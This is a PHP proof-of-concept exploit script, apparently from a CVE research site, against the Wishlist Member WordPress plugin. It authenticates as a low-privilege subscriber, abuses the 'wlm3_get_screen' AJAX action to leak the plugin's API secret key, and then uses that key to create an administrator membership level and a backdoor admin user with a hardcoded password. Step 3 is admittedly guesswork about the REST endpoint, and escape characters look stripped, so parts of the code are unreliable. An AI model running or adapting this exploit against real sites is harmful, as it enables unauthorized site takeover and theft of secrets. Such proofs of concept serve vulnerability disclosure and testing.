// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6419 - Wishlist Member <= 3.30.1 - Missing Authorization to Authenticated (Subscriber+) API Secret Key Disclosure and Privilege Escalation via 'wlm3_get_screen' AJAX action
// Configuration - modify these variables
$target_url = 'http://example.com'; // Target WordPress site URL
$username = 'attacker'; // Attacker's WordPress username (Subscriber or above)
$password = 'attacker_password'; // Attacker's WordPress password
// Step 1: Authenticate as a subscriber and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_2026_6419.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
curl_close($ch);
// Step 2: Trigger the vulnerable AJAX action to leak the API secret key
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = array(
'action' => 'wlm3_get_screen',
'data' => array(
'url' => 'wlm3_api_settings' // This admin screen identifier loads the API configuration template
)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_6419.txt');
$response = curl_exec($ch);
curl_close($ch);
// Parse the JSON response to extract the API secret key
$response_data = json_decode($response, true);
if (isset($response_data['html'])) {
// The HTML contains the plaintext secret key. Extract using regex.
preg_match('/api_secret_key["']?[^:]*:[s]*["']([^"']+)["']/', $response_data['html'], $matches);
if (isset($matches[1])) {
$api_secret_key = $matches[1];
echo "[+] API Secret Key leaked: " . $api_secret_key . "n";
} else {
// Fallback: print HTML for manual inspection
echo "[!] Could not automatically extract secret key. HTML response:n" . $response_data['html'] . "n";
}
} else {
echo "[!] Failed to retrieve API configuration template. Response:n" . $response . "n";
}
// Step 3: Use the API secret key to create an admin-level membership and register an admin user
// This step assumes the WishList Member REST API endpoint is accessible.
$api_base = $target_url . '/wp-json/wlm3/v1'; // Adjust endpoint if different
$headers = array(
'Authorization: Bearer ' . $api_secret_key,
'Content-Type: application/json'
);
// Create a membership level with administrator role
$membership_data = array(
'name' => 'Admin Level',
'role' => 'administrator'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_base . '/membership_levels');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($membership_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$membership_response = curl_exec($ch);
curl_close($ch);
$membership_result = json_decode($membership_response, true);
if (isset($membership_result['id'])) {
$membership_id = $membership_result['id'];
echo "[+] Created admin membership level with ID: " . $membership_id . "n";
// Register a new user with the admin membership
$user_data = array(
'username' => 'cve_admin',
'email' => 'attacker@example.com',
'password' => 'P@ssw0rd',
'membership_level_id' => $membership_id
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_base . '/users');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($user_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$user_response = curl_exec($ch);
curl_close($ch);
$user_result = json_decode($user_response, true);
if (isset($user_result['id'])) {
echo "[+] Admin user created. Login with username: cve_admin, password: P@ssw0rdn";
} else {
echo "[!] Failed to create user. Response: " . $user_response . "n";
}
} else {
echo "[!] Failed to create membership level. Response: " . $membership_response . "n";
}
// Cleanup
unlink('/tmp/cookies_cve_2026_6419.txt');
?>